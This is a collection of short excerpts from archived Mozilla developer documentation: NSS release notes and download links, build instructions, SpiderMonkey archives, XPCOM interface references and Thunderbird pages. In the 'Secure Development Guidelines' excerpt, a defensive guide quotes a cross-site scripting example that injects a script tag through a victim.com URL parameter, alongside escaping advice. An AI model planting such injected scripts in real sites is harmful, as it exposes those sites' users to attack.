source may be viewed with a browser (via the mxr tool) at http://mxr.mozilla.org/mozilla/source/security/jss/ the run time behavior of jss can be affected by the nss environment variables.
JSS Provider Notes
this page has been moved to http://www.dogtagpki.org/wiki/jss_provider.
NSS Memory allocation
see the prototype at http://mxr.mozilla.org/nspr/source/n.../ds/plarenas.h a program should call that function at the very end, after having shutdown nss and nspr, to really free the contents of the free list.
NSS 3.12.5 release_notes
nss 3.12.5 source is also available on ftp.mozilla.org for secure https download: source tarball: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_5_rtm/src/.
NSS 3.16.2.1 release notes
nss 3.16.2.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_1_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.16.2.1.
NSS 3.16.2.2 release notes
nss 3.16.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_2_rtm/src/ new in nss 3.16.2.2 new functionality no new functionality is introduced in this release.
NSS 3.16.2.3 release notes
nss 3.16.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/ new in nss 3.16.2.3 this patch release fixes a bug and contains a backport of the tls_fallback_scsv feature, which was originally made available in nss 3.17.1.
NSS 3.16.5 release notes
nss 3.16.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_5_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.16.5.
NSS 3.16.6 release notes
nss 3.16.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_6_rtm/src/ new in nss 3.16.6 new functionality no new functionality is introduced in this release.
NSS 3.19.2.1 release notes
nss 3.19.2.1 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_1_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security advisories the following security-relevant bugs have been resolved in nss 3.19.2.1.
NSS 3.19.2.2 release notes
nss 3.19.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_2_rtm/src/ security fixes in nss 3.19.2.2 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures.
NSS 3.19.2.3 release notes
nss 3.19.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_3_rtm/src/ new in nss 3.19.2.3 new functionality no new functionality is introduced in this release.
NSS 3.19.2.4 release notes
nss 3.19.2.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_4_rtm/src/ new in nss 3.19.2.4 new functionality no new functionality has been introduced in this release.
NSS 3.19.4 release notes
nss 3.19.4 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_4_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security advisories the following security-relevant bugs have been resolved in nss 3.19.4.
NSS 3.20.1 release notes
nss 3.20.1 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_1_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security advisories the following security-relevant bugs have been resolved in nss 3.20.1.
NSS 3.20.2 release notes
nss 3.20.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_2_rtm/src/ security fixes in nss 3.20.2 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures.
NSS 3.21.1 release notes
nss 3.21.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_1_rtm/src/ new in nss 3.21.1 new functionality no new functionality is introduced in this release.
NSS 3.21.2 release notes
nss 3.21.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_2_rtm/src/ new in nss 3.21.2 new functionality no new functionality is introduced in this release.
NSS 3.21.3 release notes
nss 3.21.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_3_rtm/src/ new in nss 3.21.3 new functionality no new functionality is introduced in this release.
NSS 3.21.4 release notes
nss 3.21.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_4_rtm/src/ new in nss 3.21.4 no new functionality is introduced in this release.
NSS 3.22.1 release notes
nss 3.22.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_1_rtm/src/ new in nss 3.22.1 new functionality no new functionality is introduced in this release.
NSS 3.22.2 release notes
nss 3.22.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_2_rtm/src/ new in nss 3.22.2 new functionality no new functionality is introduced in this release.
NSS 3.22.3 release notes
nss 3.22.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_3_rtm/src/ new in nss 3.22.3 new functionality no new functionality is introduced in this release.
NSS 3.25.1 release notes
nss 3.25.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_1_rtm/src/ new in nss 3.25.1 new functionality no new functionality is introduced in this release.
NSS 3.26.2 release notes
nss 3.26.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_2_rtm/src/ new in nss 3.26.2 new functionality no new functionality is introduced in this release.
NSS 3.27.1 release notes
nss 3.27.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_1_rtm/src/ new in nss 3.27.1 new functionality no new functionality is introduced in this release.
NSS 3.27.2 Release Notes
nss 3.27.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_2_rtm/src/ new in nss 3.27.2 new functionality no new functionality is introduced in this release.
NSS 3.28.1 release notes
nss 3.28.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_1_rtm/src/ new in nss 3.28.1 no new functionality is introduced in this release.
NSS 3.28.2 release notes
nss 3.28.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_2_rtm/src/ incorrect version number note the version numbers embedded in the nss 3.28.2 are wrong (it reports itself as version 3.28.1).
NSS 3.28.3 release notes
nss 3.28.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_28_3_rtm/src/ new in nss 3.28.3 new functionality no new functionality is introduced in this release.
NSS 3.28.4 release notes
nss 3.28.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_4_rtm/src/ new in nss 3.28.4 no new functionality is introduced in this release.
NSS 3.28.5 release notes
nss 3.28.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_5_rtm/src/ new in nss 3.28.5 no new functionality is introduced in this release.
NSS 3.29.1 release notes
nss 3.29.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_1_rtm/src/ new in nss 3.29.1 new functionality no new functionality is introduced in this release.
NSS 3.29.2 release notes
nss 3.29.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_2_rtm/src/ new in nss 3.29.2 new functionality no new functionality is introduced in this release.
NSS 3.29.3 release notes
nss 3.29.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_3_rtm/src/ new in nss 3.29.3 no new functionality is introduced in this release.
NSS 3.29.5 release notes
nss 3.29.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_5_rtm/src/ new in nss 3.29.5 no new functionality is introduced in this release.
NSS 3.30.1 release notes
nss 3.30.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_1_rtm/src/ new in nss 3.30.1 no new functionality is introduced in this release.
NSS 3.30.2 release notes
nss 3.30.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_2_rtm/src/ new in nss 3.30.2 no new functionality is introduced in this release.
NSS 3.31.1 release notes
nss 3.31.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_1_rtm/src/ new in nss 3.31.1 no new functionality is introduced in this release.
NSS 3.36.4 release notes
nss 3.36.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_4_rtm/src/ new in nss 3.36.4 new functionality no new functionality is introduced in this release.
NSS 3.36.5 release notes
nss 3.36.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_5_rtm/src/ new in nss 3.36.5 new functionality no new functionality is introduced in this release.
NSS 3.36.6 release notes
nss 3.36.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_6_rtm/src/ new in nss 3.36.6 new functionality no new functionality is introduced in this release.
NSS 3.36.7 release notes
nss 3.36.7 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_7_rtm/src/ other releases are available in nss releases.
NSS 3.36.8 release notes
nss 3.36.8 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_8_rtm/src/ other releases are available in nss releases.
NSS 3.37.3 release notes
nss 3.37.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_37_3_rtm/src/ new in nss 3.37.3 new functionality no new functionality is introduced in this release.
NSS 3.40.1 release notes
nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_1_rtm/src/ new in nss 3.40.1 new functionality no new functionality is introduced in this release.
NSS 3.44.1 release notes
nss 3.44.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_1_rtm/src/ other releases are available in nss releases.
NSS 3.44.4 release notes
nss 3.44.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_4_rtm/src/ other releases are available in nss releases.
NSS 3.51.1 release notes
nss 3.51.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_51_1_rtm/src/ other releases are available in nss releases.
NSS 3.52.1 release notes
nss 3.52.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_52_1_rtm/src/ other releases are available in nss releases.
NSS 3.53.1 release notes
nss 3.53.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_53_1_rtm/src/ other releases are available in nss releases.
NSS Developer Tutorial
update nss in mozilla-inbound and mozilla-central the procedure is documented at https://developer.mozilla.org/docs/updating_nspr_or_nss_in_mozilla-central.
Enc Dec MAC Output Public Key as CSR
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
Encrypt Decrypt_MAC_Using Token
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
NSS Sample Code Sample_3_Basic Encryption and MACing
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
Hashing - sample 1
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
EncDecMAC using token object - sample 3
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
sample2
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
NSS Sample Code
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 you are welcome to download the new samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch the new samples: /docs/mozilla/projects/nss/new_nss_samples ...
NSS sources building testing
hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other.
nss tech note4
secstatus cert_findsubjectkeyidexten (certcertificate *cert, secitem *retitem); for more information browse through the nss source code online at http://lxr.mozilla.org/mozilla/source/security/nss/ and http://lxr.mozilla.org/security/ documentation on some cert funcs http://www.mozilla.org/projects/security/pki/nss/ref/ssl/sslcrt.html ...
nss tech note5
using nss to perform miscellaneous cryptographic operations nss technical note: 5 nss project info is at http://www.mozilla.org/projects/security/pki/nss/ you can browse the nss source online at http://lxr.mozilla.org/mozilla/source/security/nss/ and http://lxr.mozilla.org/security/ be sure to look for sample code first for things you need to do.
nss tech note7
pkcs #1 v1.5 block formatting question: in pkcs #1 v1.5 (section 8.1 encryption-block formatting) and v2.1 (section 7.2.1 encryption operation), pkcs1 v1.5 padding is described like this: 00 || 02 || ps || 00 || m but in pkcs #1 v2.0 (section 9.1.2.1 encoding operation, step 3) and on the w3c web site (http://www.w3.org/tr/xmlenc-core/#rsa-1_5), pkcs1 v1.5 padding is described like this: 02 || ps || 00 || m 00 at the beginning is missing.
New NSS Samples
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 how to download the samples: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch samples list: sample code 1: hashing sample code 2: init nss database sample code 3: encrypt/decrypt and mac using token sample code 4: encrypt/decrypt and mac using session objects sample code 5: encrypt/decrypt/mac output public key as a csr sample code 6: encrypt/decrypt/mac generating a pkcs#11 csr common code used by these samples: sampl...
Overview of NSS
the latest source code is available for free worldwide from https://www.mozilla.org and its mirror sites.
Build instructions
hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss if you want to build a releases other than the tips of these repositories, then switch to the release tags: cd nspr hg update nspr_4_9_5_rtm cd ../nss hg update nss_3_14_2_rtm cd ..
Installation guide
this is done here: http://lxr.mozilla.org/security/sour...platlibs.mk#53 53 ifeq ($(os_arch), linux) 54 ifeq ($(use_64), 1) 55 extra_shared_libs += -wl,-rpath,'$$origin/../lib64:$$origin/../lib' 56 else 57 extra_shared_libs += -wl,-rpath,'$$origin/../lib' 58 endif 59 endif for example, if you install certutil in /foo/bar/nss/bin and the .so's in /foo/bar/nss/lib, then you only need to add /foo/bar/nss/bin to your path...
NSS Tools
for information about downloading the nss source, see https://developer.mozilla.org/nss/building.
Network Security Services
additional information using the window.crypto object from javascript delegation of http download for ocsp tls cipher suite discovery nss certificate download specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvement project community ...
Necko Interfaces Overview
http) maps uri string to nsiuri instance via newuri method creates nsichannel instance from nsiuri instance via newchannel method nsistreamlistener : nsirequestobserver implemented by the consumer of a nsichannel instance passed to nsichannel::asyncopen method nsirequestobserver::onstartrequest - notifies start of async download nsistreamlistener::ondataavailable - notifies presence of downlo...
Necko
browse our code in its latest state at netwerk/ documents a necko code walkthrough necko architecture necko multithreading necko faq necko interfaces overview the necko http module proxies in necko pac files community view mozilla forums...
Rhino and BSF
see http://commons.apache.org/proper/commons-bsf/index.html.
Rhino documentation
try this at http://archive.is/ssvxq ) an article comparing and contrasting rhino and jython.
Rhino downloads archive
you can download binary distributions of rhino from http://ftp.mozilla.org/pub/mozilla.org/js/.
SpiderMonkey Build Documentation
building spidermonkey obsolete: the canonical documentation now lives at: https://firefox-source-docs.mozilla.org/js/build.html.
SpiderMonkey compartments
in firefox 4 and above, compartments are used and all javascript objects that belong to a certain origin (such as "http://mail.google.com/" or "http://www.bank.com/") are placed in a separate compartment.
Functions
flat closures and null closures have been removed: https://bugzilla.mozilla.org/show_bug.cgi?id=730497 https://bugzilla.mozilla.org/show_bug.cgi?id=739808 name lookups in order of speed, fastest to slowest.
Introduction to the JavaScript shell
the name must be one of the parameter keys (such as 'maxbytes', 'maxmallocbytes' or 'gcnumber') defined by for_each_gc_param in https://searchfox.org/mozilla-central/source/js/src/builtin/testingfunctions.cpp#464.
SpiderMonkey 1.8.5
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32).
SpiderMonkey 1.8.7
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32).
SpiderMonkey 1.8
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js-1.8.0-rc1.tar.gz (md5 checksum: eaad8815dcc66a717ddb87e9724d964e).
SpiderMonkey 17
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202).
SpiderMonkey 24
you can download full source code here: https://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2 (sha1: ce779081cc11bd0c871c6f303fc4a0091cf4fe66) spidermonkey 24 is the javascript engine that shipped in firefox 24.
SpiderMonkey 45
you can download full source code from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 sha256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee md5: 2ca34f998d8b5ea79d8616dd26b5fbab spidermonkey 45 is the javascript engine that shipped in firefox 45.
Split object
see also http://groups.google.com/group/mozil...81825b338fb84f details this section describes split objects as a feature of the jsapi.
TPS Formdata Lists
e: "testing", value: "success", date: -1 }, { fieldname: "testing", value: "failure", date: -2 }, { fieldname: "username", value: "joe" } ]; formdata lists and phase actions you can use the following functions in phase actions for formdata lists: formdata.add formdata.delete formdata.verify formdata.verifynot for an example, see the tps formdata unittest: http://hg.mozilla.org/services/tps/f...st_formdata.js notes note 1, tps supports the delete action for formdata, but sync currently does not correctly sync deleted form data, see bug 564296.
TPS Pref Lists
for example: var prefs1 = [ { name: "browser.startup.homepage", value: "http://www.getfirefox.com" }, { name: "browser.urlbar.maxrichresults", value: 20 }, { name: "browser.tabs.autohide", value: true } ]; pref lists and phase actions the only actions supported for preference asset lists are modify and verify: prefs.modify prefs.verify sync only syncs certain preferences.
Zest runtimes
the following runtimes are available: java https://github.com/mozilla/zest - this is the reference implementation the following runtimes are planned or an an early stage of implementation: https://github.com/mozilla/zest/tree/master/js javascript https://github.com/darkowlzz/zest-runner https://github.com/darkowlzz/zest-cli - this is the zest-cli of js based runner.
Zest
more details https://github.com/mozilla/zest - the code on github http://groups.google.com/group/mozilla-zest - the group used for discussing zest ...
Secure Development Guidelines
is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<script>alert('oops')</script> xss: prevention escape all dynamic input that will be sent back to the user html encoding &amp; → & &lt; → < &gt; → > &quot; → " &apos; → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injecti...
Supported build targets
page moved to the in-tree documentation: https://firefox-source-docs.mozilla.org/build/buildsystem/supported-configurations.html ...
The Places database
it contains the host url, frequency of access, if typed or not, and it's prefix (https://, ftp://, etc).
Using the Places annotation service
var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri("http://www.mozilla.org/", null, null); annotationservice.setpageannotation(uri, "my_extension/some_annotation", "this is the annotation value", 0, 0); retrieving annotations there are corresponding getters for the setters above (see nsiannotationservice.idl for the exact declarations): from c++: getpageannotationstring(auri, aname); getpageannotationint32(auri, aname); getpageannotationint...
places.sqlite Database Troubleshooting
download the latest precompiled binary sqlite command-line shell from: https://www.sqlite.org/download.html extract sqlite3 executable into the work folder.
The Publicity Stream API
[is this still doable?] the javascript library should be included from: https://myapps.mozillalabs.com/jsapi/publicity.js all apis related to open web applications are accessed under the navigator.apps object.
Binary compatibility
for more information on issues of componentization and binary compatibility, see http://mozilla.org/projects/xpcom/gl...ent_reuse.html .
Generating GUIDs
online tools http://mozilla.pettay.fi/cgi-bin/mozuuid.pl guidgen guidgen.exe, part of microsoft visual studio, can generate uuids in this format.
Packaging WebLock
for more detailed information on packaging and installation of components into gecko-based applications, see http://www.mozilla.org/projects/xpinstall.
Resources
weblock resources weblock installer and information the sdk download linux: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-i686-pc-linux-gnu-1.4a.tar.gz windows: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-win32-1.4a.zip other mozilla downloads gecko resources internal string guide external string guide the gecko networking library ("necko") the netscape portable runtime environment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptab...
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
(this is particularly true of streams that reach out over a network connection, like http and ftp channels.) stream listeners implement three methods.
Components.utils.createObjectIn
see details in https://blog.mozilla.org/addons/2014/04/10/changes-to-unsafewindow-for-the-add-on-sdk/.
PyXPCOM
other resources pythonext - extension that provides pyxpcom samples - demo applications using pyxpcom community python-xpcom bindings mailing list (activestate) #pyxpcom on irc.mozilla.org source code the pyxpcom code is available here: http://hg.mozilla.org/pyxpcom/ to build pyxpcom, see building pyxpcom.
imgIRequest
note that this might not be the actual uri for the image (for example if http redirects happened during the load).
nsIAuthPrompt
if a username is specified (http://user@site.com) it will be used when matching existing logins or saving new ones.
nsIBrowserSearchService
method the http request method used when submitting a search query.
nsICacheEntryDescriptor
predicteddatasize print64 stores the content-length specified in the http header for this entry.
nsICacheSession
if false, expired entries will be returned (useful for offline mode and clients, such as http, that can update the valid lifetime of cached content).
nsICookie
an optional interface for accessing the http or javascript cookie object.
nsICookie2
ishttponly boolean true if the cookie is an http only cookie.
nsIDOMElement
void setattributens( in domstring namespaceuri, in domstring qualifiedname, in domstring value ); parameters namespaceuri namespace uri qualifiedname attribute name value attribute new value see also http://www.w3.org/tr/dom-level-2-core/ ...
nsIDirIndexParser
netwerk/streamconv/public/nsidirindexlistener.idlscriptable a parser for 'application/http-index-format' directories.
nsIDownloadProgressListener
onsecuritychange() called when the level of security being used while downloading changes; for example, if the initial request is made via https but the download switches to http, this function gets called to notify you of that transition.
nsIFaviconService
example var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var pageuri = ioservice.newuri("http://www.mozilla.org/", null, null); var faviconuri = ioservice.newuri("http://www.mozilla.org/favicon.ico", null, null); faviconservice.setandloadfaviconforpage(pageuri, faviconuri, false); setfavicondata() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0.
nsIFileView
example <?xml version="1.0" ?> <?xml-stylesheet href="chrome://global/skin/" type="text/css" ?> <window id="test" title="test" width="640" height="480" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree flex="1" id="ftree"> <treecols> <-- the default column type is size unless an appropriate id is passed, nsifileview relies on the treecols section --> <treecol id="filenamecolumn" label="name" flex="1" primary="true"/> <treecol id="lastmodifiedcolumn" label="date" flex...
Building an Account Manager Extension
<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://messenger/skin/accountmanage.css" type="text/css"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="parent.onpanelloaded('am-devmo-account.xul');"> <script type="application/javascript" src="chrome://messenger/content/accountmanager.js"/> <script type="application/javascript" src="chrome://example@mozilla.org/content/am-devmo-account.js"/> <dialogheader title="devmo example panel"/> <description> this panel is...
nsIMsgCompFields
(bug 249530) newsgroups astring newshost char * newsposturl char * organization astring otherrandomheaders astring no longer exists - see https://groups.google.com/forum/#!topic/mozilla.dev.apps.thunderbird/s4ofmm8_b28 priority char * receiptheadertype print32 references char * replyto astring securityinfo nsisupports subject astring templatename astring temporaryfiles char * obsolete temporaryfiles obsol...
nsINavHistoryQuery
for example http://bar.com/foo will match http://bar.com/foo as well as http://bar.com/foo/baz.gif.
nsIParserUtils
that is, by default, for example <img> with a source pointing to an http server potentially controlled by a third party is not removed.
nsIProxyInfo
some special values for this attribute include (but are not limited to) the following: "http" - http proxy (or ssl connect for https) "socks" - socks v5 proxy "socks4" - socks v4 proxy "direct" - no proxy "unknown" - unknown proxy (see nsiprotocolproxyservice.resolve()) a future version of this interface may define additional types.
nsIPushSubscription
cc, interfaces: ci, utils: cu } = components; const scriptsecuritymanager = cc["@mozilla.org/scriptsecuritymanager;1"] .getservice(ci.nsiscriptsecuritymanager); const pushservice = cc["@mozilla.org/push/service;1"] .getservice(ci.nsipushservice); function sendsubscriptiontoserver(subscription) { let request = cc["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(ci.nsixmlhttprequest); request.open("post", "https://example.com/register-for-push", true); request.addeventlistener("error", () => { cu.reporterror("error sending subscription to server"); }); request.send(json.stringify({ endpoint: subscription.endpoint, // base64-encode the key and authentication secret.
nsISpeculativeConnect
netwerk/base/public/nsispeculativeconnect.idlscriptable lets non-networking code provide hints to the networking layer that an http connection attempt to a particular site is likely to happen soon; this lets the networking layer begin setting up tcp and, if appropriate, ssl handshakes to save time when the connection is actually opened later.
nsIStandardURL
netwerk/base/public/nsistandardurl.idlscriptable this interface defines the interface to an url with the standard file path format common to protocols like http, ftp, and file.
nsISupportsPriority
see also changing the priority of http requests for an example of using this interface to adjust the priority of an http request.
nsISupports proxies
if you haven't, or you've never heard of these things, see http://www.mozilla.org/scriptable/ .
nsIURLFormatter
mozilla applications linking to mozilla websites are strongly encouraged to use urls of the following format: http[s]://%service%.mozilla.[com|org]/%locale%/ method overview astring formaturl(in astring aformat); astring formaturlpref(in astring apref); methods formaturl() formats a string url.
nsIUploadChannel
in the case of http, if this parameter is non-empty, then its value will replace any existing content-type header on the http request.
nsIWebProgressListener2
for example, via a <meta http-equiv="refresh"> or an http refresh: header.
nsICookie2 MOZILLA 1 8 BRANCH
last changed in gecko 1.9 (firefox 3) inherits from: nsicookie2 attributes attribute type description ishttponly boolean holds true if the cookie is an http only cookie.
Performance
for each commit, sqlite does two disk syncs among many other file operations (see the "atomic commit" section of http://www.sqlite.org/php2004/slides-all.html for more information on how this works).
Using nsIPasswordManager
the example below should serve as a starting point: // the host name of the password we are looking for var querystring = 'http://www.example.com'; // ask the password manager for an enumerator: var e = passwordmanager.enumerator; // step through each password in the password manager until we find the one we want: while (e.hasmoreelements()) { try { // get an nsipassword object out of the password manager.
Using the clipboard
original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/clipboard.php copyright information: copyright (c) neil deakin ...
xptcall FAQ
the code is at: xpcom/reflect/xptcall a new porting guide is at: https://developer.mozilla.org/en/xptcall_porting_guide pre-implementation proposals are here and here.
ASan Nightly Project
moved in-tree: https://firefox-source-docs.mozilla.org/tools/sanitizer/asan_nightly.html ...
Clang static analysis
moved to https://firefox-source-docs.mozilla.org/code-quality/static-analysis.html ...
Fuzzing Interface
documentation moved in-tree: https://firefox-source-docs.mozilla.org/tools/fuzzing/fuzzing_interface.html ...
Measuring Code Coverage on Firefox
documentation moved in-tree: https://firefox-source-docs.mozilla.org/tools/code-coverage/index.html ...
Address book sync client design
the general architecture for the sync component is the following: mozilla ui ab sync logic mork ab database sync protocol encoding sync protocol decoding http "post" api mozilla networking client side sync logic the client synchronization logic defers to the server peforming some intelligence in handling duplicate entries for the sync process.
Autoconfig file format definition
please see https://wiki.mozilla.org/thunderbird:autoconfiguration:configfileformat.
Cached compose window FAQ
see http://bugzilla.mozilla.org/show_bug.cgi?id=104989 ...
MailNews fakeserver
the server itself is found in mailnews/test/fakeserver/maild.js and was largely based off of the httpd fakeserver from network code.
Building a Thunderbird extension 1: introduction
